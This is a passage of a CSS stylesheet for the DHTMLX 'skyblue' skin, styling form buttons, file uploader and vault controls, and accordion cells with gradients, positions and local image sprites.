overflow: hidden;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhxform_obj_dhx_skyblue.dhxform_rtl div.dhxform_btn {\n  float: right;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn.dhxform_btn_over {\n  background-color: #f4f4f4;\n  background: linear-gradient(#f4f4f4, #ececec);\n  background: -webkit-linear-gradient(#f4f4f4, #ececec);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f4f4f4, endColorStr=#ececec) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn.dhxform_btn_pressed {\n  background-color: #e6e6e6;\n  background: linear-gradient(#e6e6e6, #e5e5e5);\n  background: -webkit-linear-gradient(#e6e6e6, #e5e5e5);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e6e6e6, endColorStr=#e5e5e5) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_btn {\n  border-color: #cccccc;\n  background-color: #f9f9f9;\n  background: linear-gradient(#f9f9f9, #f1f1f1);\n  background: -webkit-linear-gradient(#f9f9f9, #f1f1f1);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f9f9f9, endColorStr=#f1f1f1) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_txt {\n  float: left;\n  margin: 0px 20px;\n  height: 24px;\n  line-height: 23px;\n  text-align: center;\n  vertical-align: middle;\n  overflow: hidden;\n  white-space: nowrap;\n  *display: inline;\n  opacity: 1;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_txt.dhxform_btn_txt_autowidth {\n  width: 100%;\n  margin: 0px;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_btn div.dhxform_btn_txt {\n  color: #999999 !important;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn:focus {\n  outline: 1px dotted #909090;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_btn div.dhxform_btn_filler {\n  position: absolute;\n  display: inline-block;\n  width: 100%;\n  height: 100px;\n  left: 0px;\n  top: 0px;\n  background-color: white;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhxform_obj_dhx_skyblue div.dhxform_control div.dhxform_note {\n  font-family: Tahoma;\n  font-size: 0.8em;\n  color: #808080;\n  padding-bottom: 3px;\n  white-space: normal;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_control div.dhxform_note {\n  color: #b2b2b2;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_label span.dhxform_info {\n  font-family: Tahoma;\n  font-size: 0.6em;\n  color: #808080;\n  margin-left: 3px;\n  padding-bottom: 2px;\n  line-height: 100%;\n  vertical-align: middle;\n  cursor: pointer;\n}\n.dhxform_obj_dhx_skyblue .validate_error .dhxform_label,\n.dhxform_obj_dhx_skyblue .validate_error .dhxform_textarea,\n.dhxform_obj_dhx_skyblue .validate_error .dhxform_select,\n.dhxform_obj_dhx_skyblue .validate_error div.dhxform_label_nav_link,\n.dhxform_obj_dhx_skyblue .validate_error div.dhxform_label div.dhxform_label_nav_link:focus {\n  color: red;\n}\n.dhxform_obj_dhx_skyblue div.disabled .dhx_combo_box.dhx_skyblue {\n  border: 1px solid #cacecd;\n}\n.dhxform_obj_dhx_skyblue div.disabled .dhx_combo_box.dhx_skyblue .dhx_combo_input {\n  color: #b2b2b2;\n  background-color: #ffffff;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_stb {\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-top: 1px solid #c3c3c3;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhx_cell_editor div.dhx_cell_cont_editor {\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhxcont_content_blocker {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue div.disabled div.dhxform_item_template.dhxeditor_dhx_skyblue div.dhxcont_content_blocker {\n  display: inline;\n  position: absolute;\n  width: 100%;\n  height: 100%;\n  top: 0px;\n  left: 0px;\n  background-color: #fefefe;\n  opacity: 0.7;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=70);\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader {\n  position: relative;\n  width: 100%;\n  margin-bottom: 4px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls {\n  position: relative;\n  width: 100%;\n  height: 35px;\n  font-size: 2px;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button {\n  position: absolute;\n  width: 19px;\n  height: 19px;\n  top: 8px;\n  background-image: url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");\n  background-repeat: no-repeat;\n  font-size: 2px;\n  cursor: pointer;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  z-index: 1;\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_info {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_browse {\n  background-position: 0px 0px;\n  right: 108px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_upload {\n  background-position: -19px 0px;\n  right: 79px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_cancel {\n  background-position: -57px 0px;\n  right: 79px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_uploader_button.button_clear {\n  background-position: -38px 0px;\n  right: 50px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls .dhx_uploader_input {\n  position: absolute;\n  left: -1000px;\n  top: 0px;\n  visibility: hidden;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont {\n  position: absolute;\n  width: 19px;\n  height: 19px;\n  left: 0px;\n  top: 0px;\n  cursor: pointer;\n  overflow: hidden;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form {\n  position: absolute;\n  top: 0px;\n  right: 0px;\n  cursor: pointer;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form .dhx_file_input {\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  cursor: pointer;\n  outline: none;\n  height: 19px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files {\n  position: relative;\n  width: 100%;\n  left: 0px;\n  top: 0px;\n  overflow: auto;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file {\n  position: relative;\n  width: 100%;\n  height: 25px;\n  overflow: hidden;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_added,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_uploading {\n  color: #000000;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_uploaded {\n  color: #30678a;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file.dhx_file_fail {\n  color: #e94a4a;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param {\n  position: absolute;\n  font-family: inherit;\n  font-size: inherit;\n  color: inherit;\n  top: 0px;\n  height: 25px;\n  line-height: 25px;\n  vertical-align: middle;\n  overflow: hidden;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_name {\n  left: 20px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_progress {\n  right: 50px;\n  width: 38px;\n  text-align: right;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_delete {\n  right: 30px;\n  width: 11px;\n  background-image: url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");\n  background-position: -76px 0px;\n  background-repeat: no-repeat;\n  cursor: pointer;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files div.dhx_file_param.dhx_file_uploading {\n  right: 50px;\n  width: 38px;\n  text-align: right;\n  background-image: url(\"imgs/dhxform_skyblue/dhxform_upload_uploading.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls {\n  height: 60px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_files {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_info {\n  display: inline;\n  background-image: none;\n  font-family: Tahoma;\n  font-size: 13px;\n  color: #a1a1a1;\n  height: auto;\n  top: 0px;\n  left: 35px;\n  vertical-align: top;\n  padding-top: 6px;\n  line-height: 20px;\n  cursor: default;\n  filter: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_browse {\n  top: 0px;\n  width: 54px;\n  height: 54px;\n  right: 35px;\n  background-image: url(\"imgs/dhxform_skyblue/dhxform_upload_buttons.gif\");\n  background-position: 0px -38px;\n  background-repeat: no-repeat;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_upload,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_cancel,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_uploader_button.button_clear {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_form_cont {\n  width: 54px;\n  height: 54px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls div.dhx_file_form_cont form.dhx_file_form .dhx_file_input {\n  height: 54px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_info,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_added,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_uploading,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_uploaded,\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file.dhx_file_fail {\n  color: #b2b2b2;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader.dhx_file_uploader_title div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_browse {\n  background-position: -54px -38px;\n  cursor: default;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_form_cont {\n  display: none;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button {\n  cursor: default;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_browse {\n  background-position: 0px -19px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_upload {\n  background-position: -19px -19px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_cancel {\n  background-position: -57px -19px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_controls.dhx_uploader_dis div.dhx_file_uploader_button.button_clear {\n  background-position: -38px -19px;\n}\n.dhxform_obj_dhx_skyblue .dhx_file_uploader div.dhx_upload_files.dhx_uploader_dis div.dhx_file_param.dhx_file_delete {\n  background-position: -87px 0px;\n  cursor: default;\n}\n.dhtmlx_skin_dhx_skyblue div.dhtmlx_wins_body_inner .dhxform_obj_dhx_skyblue {\n  background-color: white;\n}\n.dhxform_obj_dhx_skyblue div.dhxform_control .dhx_combo_box.dhx_skyblue .dhx_combo_input,\n.dhx_combo_list.dhx_skyblue_list div {\n  font-size: 1em !important;\n}\ndiv.dhx_form_skin_detect {\n  position: absolute;\n  display: block;\n  visibility: hidden;\n  left: -100px;\n  top: 0px;\n  width: 10px;\n  height: 10px;\n  margin: 0px;\n  padding: 0px;\n  border: none;\n  overflow: hidden;\n}\n.dhx_vault_dhx_skyblue {\n  position: relative;\n  overflow: hidden;\n  border: 1px solid #c3c3c3;\n  background-color: #eaf2fb;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls {\n  position: absolute;\n  top: 0px;\n  left: 0px;\n  width: 100%;\n  height: 37px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  overflow: hidden;\n  z-index: 1;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button {\n  position: relative;\n  float: left;\n  display: inline;\n  margin: 5px 1px 0px 1px;\n  height: 22px;\n  line-height: 21px;\n  padding: 2px 3px;\n  border: 1px solid #c3c3c3;\n  background-color: #f7f9fc;\n  background: linear-gradient(#f7f9fc, #eaf2fb);\n  background: -webkit-linear-gradient(#f7f9fc, #eaf2fb);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f7f9fc, endColorStr=#eaf2fb) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  border-radius: 2px;\n  cursor: pointer;\n  overflow: hidden;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button.dhx_vault_button_hover {\n  background-color: #f3f7fd;\n  background: linear-gradient(#f3f7fd, #e6f0fa);\n  background: -webkit-linear-gradient(#f3f7fd, #e6f0fa);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#f3f7fd, endColorStr=#e6f0fa) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button.dhx_vault_button_pressed {\n  background-color: #d9e9f7;\n  background: linear-gradient(#d9e9f7, #d9e8f8);\n  background: -webkit-linear-gradient(#d9e9f7, #d9e8f8);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#d9e9f7, endColorStr=#d9e8f8) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  box-shadow: 0 0 5px rgba(127, 127, 127, 0.15) inset;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_icon {\n  float: left;\n  position: relative;\n  width: 16px;\n  height: 16px;\n  margin: 3px 3px 0px 3px;\n  background-image: url(\"imgs/dhxvault_skyblue/dhxvault_buttons.gif\");\n  background-repeat: no-repeat;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_icon.dhx_vault_icon_browse {\n  background-position: 0px 0px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_icon.dhx_vault_icon_upload {\n  background-position: 0px -16px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_icon.dhx_vault_icon_cancel {\n  background-position: 0px -32px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_icon.dhx_vault_icon_clear {\n  background-position: 0px -48px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_button div.dhxvault_button_text {\n  float: left;\n  height: 18px;\n  line-height: 17px;\n  margin: 2px 4px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls .dhx_vault_input {\n  position: absolute;\n  left: -1000px;\n  top: 0px;\n  visibility: hidden;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_file_form_cont {\n  position: absolute;\n  width: 100%;\n  height: 23px;\n  right: 0px;\n  top: 0px;\n  cursor: pointer;\n  overflow: hidden;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_file_form_cont form.dhx_vault_file_form {\n  position: absolute;\n  top: 0px;\n  right: 0px;\n  cursor: pointer;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_controls div.dhx_vault_file_form_cont form.dhx_vault_file_form .dhx_vault_file_input {\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  cursor: pointer;\n  outline: none;\n  height: 23px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files,\n.dhx_vault_dhx_skyblue div.dhx_vault_f_pr {\n  position: absolute;\n  overflow: auto;\n  background-color: white;\n  border: 1px solid #c3c3c3;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #000000;\n  z-index: 0;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_f_pr {\n  background-image: url(\"imgs/dhxvault_skyblue/dhxvault_progress.gif\");\n  background-position: center center;\n  background-repeat: no-repeat;\n  opacity: 0.5;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file {\n  position: relative;\n  width: auto;\n  height: 45px;\n  overflow: hidden;\n  border-bottom: 1px solid #edf5ff;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file.dhx_vault_file_added,\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file.dhx_vault_file_uploading {\n  color: #666666;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file.dhx_vault_file_uploaded {\n  color: #30678a;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file.dhx_vault_file_fail {\n  color: #e94a4a;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file.dhx_vault_file_size_exceeded div.dhx_vault_file_param.dhx_vault_file_progress {\n  color: #e94a4a;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param {\n  position: relative;\n  margin: 3px 37px 0 50px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: inherit;\n  overflow: hidden;\n  white-space: nowrap;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_name {\n  margin-top: 8px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_name div.dhx_vault_file_name_text {\n  position: relative;\n  width: 100%;\n  overflow: hidden;\n  white-space: nowrap;\n  text-overflow: ellipsis;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_name div.dhx_vault_file_name_text a {\n  font-family: Tahoma;\n  font-size: 12px;\n  color: inherit;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_name div.dhx_vault_file_name_text a:hover {\n  color: #3d83b0;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_delete {\n  position: absolute;\n  top: 15px;\n  right: 11px;\n  width: 16px;\n  height: 16px;\n  margin: 0px;\n  background-image: url(\"imgs/dhxvault_skyblue/dhxvault_buttons.gif\");\n  background-position: 0px -64px;\n  background-repeat: no-repeat;\n  cursor: pointer;\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon {\n  position: absolute;\n  left: 10px;\n  top: 7px;\n  width: 32px;\n  height: 32px;\n  cursor: default;\n  overflow: hidden;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon div.dhx_vault_all_icons {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 416px;\n  height: 32px;\n  background-repeat: no-repeat;\n  background-image: url(\"imgs/dhxvault_skyblue/dhxvault_icons.gif\");\n  cursor: default;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_def div.dhx_vault_all_icons {\n  left: 0px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_arch div.dhx_vault_all_icons {\n  left: -32px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_audio div.dhx_vault_all_icons {\n  left: -64px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_dmg div.dhx_vault_all_icons {\n  left: -96px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_doc div.dhx_vault_all_icons {\n  left: -128px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_exe div.dhx_vault_all_icons {\n  left: -160px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_html div.dhx_vault_all_icons {\n  left: -192px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_image div.dhx_vault_all_icons {\n  left: -224px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_pdf div.dhx_vault_all_icons {\n  left: -256px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_psd div.dhx_vault_all_icons {\n  left: -288px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_text div.dhx_vault_all_icons {\n  left: -320px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_video div.dhx_vault_all_icons {\n  left: -352px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_icon.dhx_vault_icon_xls div.dhx_vault_all_icons {\n  left: -384px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param div.dhx_vault_progress {\n  position: relative;\n  width: 110px;\n  border: 1px solid #c3c3c3;\n  margin-top: 3px;\n  margin-bottom: 3px;\n  font-family: Tahoma;\n  font-size: 7px;\n  color: #000000;\n  border-radius: 2px;\n  overflow: hidden;\n  cursor: default;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param div.dhx_vault_progress div.dhx_vault_progress_bg {\n  height: 6px;\n  background-color: #e5f0fd;\n  background: linear-gradient(#e5f0fd, #d3e6fe);\n  background: -webkit-linear-gradient(#e5f0fd, #d3e6fe);\n  filter: progid:DXImageTransform.Microsoft.Gradient(gradientType=0, startColorStr=#e5f0fd, endColorStr=#d3e6fe) progid:DXImageTransform.Microsoft.Alpha(opacity=100);\n  background-repeat: repeat-x;\n  font-size: inherit;\n  overflow: hidden;\n  cursor: default;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param span.progress_eta {\n  position: absolute;\n  top: -1px;\n  left: 120px;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_uploading div.dhx_vault_progress div.dhx_vault_progress_loader {\n  height: 6px;\n  background-color: white;\n  background-image: url(\"imgs/dhxvault_skyblue/dhxvault_loader.gif\");\n  background-repeat: repeat-x;\n  background-position: left center;\n  overflow: hidden;\n  cursor: default;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_flash_obj {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_dnd_box {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100px;\n  height: 100px;\n  border: 2px dashed #c0c0c0;\n  background-color: white;\n  opacity: 0.75;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=75);\n  overflow: hidden;\n  z-index: 1;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_dnd_box_text {\n  font-size: 16px;\n  text-align: center;\n}\n.dhx_vault_dhx_skyblue div.dhx_vault_files.dhx_vault_dnd_box_over {\n  overflow: hidden;\n}\n.dhx_vault_dhx_skyblue.dhx_vault_dis {\n  background-color: #f7f7f7;\n}\n.dhx_vault_dhx_skyblue.dhx_vault_dis div.dhx_vault_controls div.dhx_vault_button {\n  cursor: default;\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhx_vault_dhx_skyblue.dhx_vault_dis div.dhx_vault_files div.dhx_vault_file {\n  opacity: 0.5;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=50);\n}\n.dhx_vault_dhx_skyblue.dhx_vault_dis div.dhx_vault_files div.dhx_vault_file_param.dhx_vault_file_delete {\n  cursor: default;\n}\n.dhx_vault_dhx_skyblue.dhx_vault_dis div.dhx_vault_controls div.dhx_vault_file_form_cont {\n  display: none;\n}\n.dhxvault_dframe {\n  position: absolute;\n  left: -100px;\n  top: 0px;\n  width: 1px;\n  height: 1px;\n  overflow: hidden;\n}\ndiv.dhxvault_skin_detect {\n  position: absolute;\n  display: block;\n  visibility: hidden;\n  left: -100px;\n  top: 0px;\n  width: 10px;\n  height: 10px;\n  margin: 0px;\n  padding: 0px;\n  border: none;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue {\n  background-color: #ebebeb;\n  position: relative;\n  cursor: default;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont {\n  position: absolute;\n  overflow: hidden;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc {\n  position: relative;\n  background-color: #ffffff;\n  margin: 0px;\n  padding: 0px;\n  overflow: hidden;\n  cursor: default;\n  box-shadow: 0 0 3px #e0e0e0;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cont_acc {\n  position: absolute;\n  border-left: 1px solid #c3c3c3;\n  border-right: 1px solid #c3c3c3;\n  border-bottom: 1px solid #c3c3c3;\n  border-top: 0px solid white;\n  overflow: hidden;\n  z-index: 0;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cont_acc.dhx_cell_cont_no_borders {\n  border-width: 0px;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_cover {\n  position: absolute;\n  left: 0px;\n  top: 0px;\n  width: 100%;\n  height: 100%;\n  margin: 0px;\n  padding: 0px;\n  font-size: 1px;\n  background-color: #ffffff;\n  overflow: hidden;\n  z-index: 1;\n  opacity: 0;\n  filter: progid:DXImageTransform.Microsoft.Alpha(opacity=0);\n  -webkit-user-select: none;\n  -khtml-user-select: none;\n  -moz-user-select: none;\n  -ms-user-select: none;\n  -o-user-select: none;\n  user-select: none;\n}\n.dhxacc_base_dhx_skyblue .dhxacc_cont div.dhx_cell_acc div.dhx_cell_hdr {\n  position: relative;\n  height: 27px;\n  line-height: 26px;\n  font-family: Tahoma;\n  font-size: 12px;\n  color: #333333;\n  font-weight: bold;\n  border: 1px solid #c3c3c3;\n  background-color: 